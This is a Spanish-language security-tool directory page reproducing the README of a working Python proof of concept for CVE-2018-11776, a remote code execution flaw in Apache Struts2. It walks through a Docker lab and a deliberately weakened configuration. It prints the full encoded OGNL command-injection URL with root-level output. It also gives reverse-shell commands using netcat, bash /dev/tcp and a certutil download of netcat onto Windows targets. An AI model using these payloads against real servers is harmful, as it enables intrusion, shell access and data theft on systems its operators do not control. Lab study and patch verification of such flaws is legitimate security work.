Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-11776-Python-PoC — Prueba y PoC funcional en Python para CVE-2018-11776, incluye laboratorio Docker | Kitploit
Herramientas/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de PayloadsLabs y Práctica
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

Prueba y PoC funcional en Python para CVE-2018-11776, incluye laboratorio Docker

Ver Repositorio
123493hace 8 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c), @hook_s3c en twitter

Prueba y PoC en Python funcional para CVE-2018-11776, apareció originalmente en; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

¿Qué está pasando?

Man Yue Mo de Semmle ha revelado una vulnerabilidad de ejecución remota de código (RCE) en Struts2, entregada en un payload codificado en la ruta URL de una solicitud.

Las versiones afectadas son 2.3 a 2.3.34, y 2.5 a 2.5.16.

La configuración predeterminada no es vulnerable, pero si está mal configurada... F.

Configurar tu instancia de docker

El exploit funcionará bien con el contenedor docker creado para cve-2017-5638 (struts2-showcase-2.3.12)

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

Configurar tu configuración debilitada

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

agrega la siguiente configuración;

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

y también;

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

reinicia tu tomcat y/o contenedor

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

Verificar que el objetivo es vulnerable

prueba la url para ver si ocurre una redirección y evaluación;

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

con el script de prueba;

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
probando la url para el exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 es vulnerable!

Ejecutar comandos PoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Ejecutar]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

Reverse shell

prepara tu máquina para aceptar la reverse shell;

root@kitploit:~
$ netcat -lvp 31337

ejecuta el script;

root@kitploit:~
# querrás instalar netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# ahora lanza esa shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

reemplaza 32771 con el puerto expuesto de tu contenedor

Método actualizado mediante Bash, ahora se admiten barras diagonales.

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

Reverse shell en Windows (no probado)

root@kitploit:~
# obtén el binario de netcat
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# ejecuta
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

Infierno de depuración (notas)

Todas las solicitudes con una barra diagonal (/) fallarán porque Tomcat las bloquea activamente; es posible que necesites evitarlo, por ejemplo usando variables de entorno para /bin/bash como $SHELL en el ejemplo anterior.

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

Con esto en mente, la bandera /c de Windows no funcionará como se espera. Solo lo he probado en el contenedor docker.

Actualización

Gracias a @Menin_TheMiddle por mostrar que el problema de las barras diagonales se puede resolver; el código ahora admite barras diagonales, por lo que también es posible una reverse shell sin netcat mediante bash; ahora también admite instancias de Windows (no probado).

Mitigación

Actualiza tu Struts, o simplemente no lo uses.

Supongo que siempre puedes vender productos de suplantación de identidad si tienes una brecha y todos los datos de tus clientes se filtran. (ya sabes quién eres, escoria absoluta)

Créditos

Gracias a ;

  • Man Yue Mo, Semmle por revelar la vulnerabilidad (https://semmle.com/news/apache-struts-CVE-2018-11776)
  • piesecurity por el laboratorio Dockerfile y el ejemplo del payload OGNL (https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • xfox64x por el artículo sobre el método (https://github.com/xfox64x/CVE-2018-11776)
  • jiguang7 por la prueba (https://github.com/jiguang7/CVE-2018-11776)
  • @Menin_TheMiddle por el artículo (https://www.secjuice.com/apache-struts2-cve-2018-11776/) y por ponerme en mi lugar :) el código ahora finalmente admite Windows y reverse shell mediante bash

Saludos

un saludo a vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

Descargar herramienta